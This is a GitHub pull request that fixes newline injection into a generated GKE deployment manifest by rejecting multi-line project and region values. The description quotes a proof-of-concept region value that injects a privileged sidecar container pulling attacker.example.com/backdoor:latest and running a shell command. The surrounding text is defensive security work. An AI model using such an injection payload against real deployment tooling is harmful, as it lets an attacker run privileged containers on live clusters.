Repository navigation
fix(cli): reject multi-line project/region before they reach the GKE manifest - #7229
Open
prasanna8585 wants to merge 2 commits into
Open
prasanna8585 wants to merge 2 commits into
prasanna8585 wants to merge 2 commits into
Conversation
…manifest Follow-up to google#6930 / commit 8192d1b ("reject multi-line env values when generating the Dockerfile"), per the reviewer's own note on that PR: "the gke manifest still interpolates both unchecked, so a pull request for that would be welcome." `to_gke`'s deployment.yaml is built by raw f-string interpolation, not a YAML library with automatic escaping: f' - name: GOOGLE_CLOUD_PROJECT\n value: "{project}"' f' - name: GOOGLE_CLOUD_LOCATION\n value: "{region}"' and separately: image_name = f'gcr.io/{project}/{service_name}' A newline embedded in `project` or `region` breaks out of the quoted YAML scalar the same way it broke out of a Dockerfile ENV line in the original issue -- except deployment.yaml is `kubectl apply`'d directly to a real GKE cluster (to_gke's own "STEP 4: Applying deployment to GKE cluster"), so the blast radius here is a live cluster resource, not a local build step. Confirmed exploitable, not just malformed, with a standalone reproduction independent of the original report: a crafted `region` value ending us-central1" - name: attacker-sidecar image: attacker.example.com/backdoor:latest securityContext: privileged: true command: ["/bin/sh", "-c", "id > /tmp/pwned"] ... produces a deployment.yaml that a real YAML parser (yaml.safe_load_all, the same class of parser kubectl itself uses) parses as a Deployment whose pod spec has two containers -- the legitimate one and a second, fully attacker-controlled, privileged sidecar with an arbitrary command. This is not a parse-error DoS; the injected content is accepted as valid, additional Kubernetes pod spec structure and would be applied to the cluster along with the legitimate deployment. Fix: generalizes the existing `_validate_dockerfile_env_value` (added in 8192d1b) to `_validate_no_newlines`, since the underlying reason for the check -- a value being written into a line-based text format where an embedded newline can terminate the line early and contribute new, attacker-controlled lines -- is identical for a Dockerfile ENV instruction and a YAML manifest. Kept the same "reject newlines, nothing else" narrowness intentionally, matching the original fix's own reasoning (a letters-digits-hyphens allowlist would reject a valid, existing test case, the domain-scoped project id "example.com:my-project"). Calls it for `project` and `region` in `to_gke`, immediately after `project` is resolved and before either value is echoed to the console or reaches any generated file. Verified: - Standalone reproduction (yaml.safe_load_all against the actual string-templated output of to_gke's own deployment_yaml construction) confirms the injection succeeds pre-fix: the parsed Deployment's pod spec has 2 containers, the second being fully attacker-controlled (arbitrary image, privileged: true, arbitrary command). - New test test_to_gke_rejects_multiline_project_or_region, added to test_cli_deploy.py, parametrized over both project and region. Asserts to_gke raises click.ClickException, and that neither subprocess.run nor deployment.yaml's creation happen -- rejected before any cluster-facing action, not merely before the apply step. Confirmed via revert-and-retest: reverting just the two new _validate_no_newlines calls in to_gke makes the test fail with "DID NOT RAISE ClickException" (the malicious value flows all the way through to the mocked kubectl apply call unrejected); restoring the calls makes it pass. - Renamed _validate_dockerfile_env_value's existing tests (test_validate_dockerfile_env_value_accepts_single_line_values, test_validate_dockerfile_env_value_rejects_multiline_values) to match the new name, otherwise unchanged -- confirms the original to_agent_engine behavior (including the "example.com:my-project" domain-scoped-id acceptance case) is unaffected by the rename. - Full tests/unittests/cli/utils/test_cli_deploy.py suite: 121 passed, 2 skipped (pre-existing, unrelated to this change), 0 failed, both before capturing this fix and after restoring it.
prasanna8585
force-pushed
the
fix/gke-manifest-project-region-injection
branch
from
September 23, 2026 05:54
7480c9d to
a6d4282
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Follow-up to #6930 /
8192d1b. As the reviewer on that PR noted: "the gke manifest still interpolates both unchecked, so a pull request for that would be welcome."to_gke'sdeployment.yamlis built by raw f-string interpolation, not a YAML library with automatic escaping:A newline embedded in
projectorregionbreaks out of the quoted YAML scalar the same way it broke out of a DockerfileENVline in #6930 — exceptdeployment.yamliskubectl apply'd directly to a real GKE cluster, so the blast radius is a live cluster resource, not a local build step.Confirmed exploitable, not just malformed: a crafted
regionvalue can produce adeployment.yamlthat a real YAML parser accepts as aDeploymentwhose pod spec has two containers — the legitimate one and a second, fully attacker-controlled, privileged sidecar with an arbitrary command. This isn't a parse-error DoS; it's accepted as valid, additional pod spec structure.Fix
Generalizes the existing
_validate_dockerfile_env_value(from8192d1b) to_validate_no_newlines, since the underlying reason for the check — a value written into a line-based format where an embedded newline can contribute new, attacker-controlled lines — is identical for a DockerfileENVinstruction and a YAML manifest. Kept the same "reject newlines only" narrowness intentionally, matching the original fix's reasoning (a stricter allowlist would reject the valid, already-tested domain-scoped project idexample.com:my-project). Applied toproject/regioninto_gke, before either value is echoed or reaches any generated file.Testing
yaml.safe_load_allagainst the actual string-templated output) confirms the injection succeeds pre-fix: the parsedDeployment's pod spec has 2 containers, the second fully attacker-controlled.test_to_gke_rejects_multiline_project_or_region, parametrized over both fields, asserts rejection happens before any subprocess call or file write — not merely beforekubectl apply.kubectl apply); restoring them passes._validate_dockerfile_env_valuetests to match — confirms the originalto_agent_enginebehavior, including theexample.com:my-projectdomain-scoped-id case, is unaffected.test_cli_deploy.pysuite: 121 passed, 2 pre-existing skips, 0 failed, both before and after.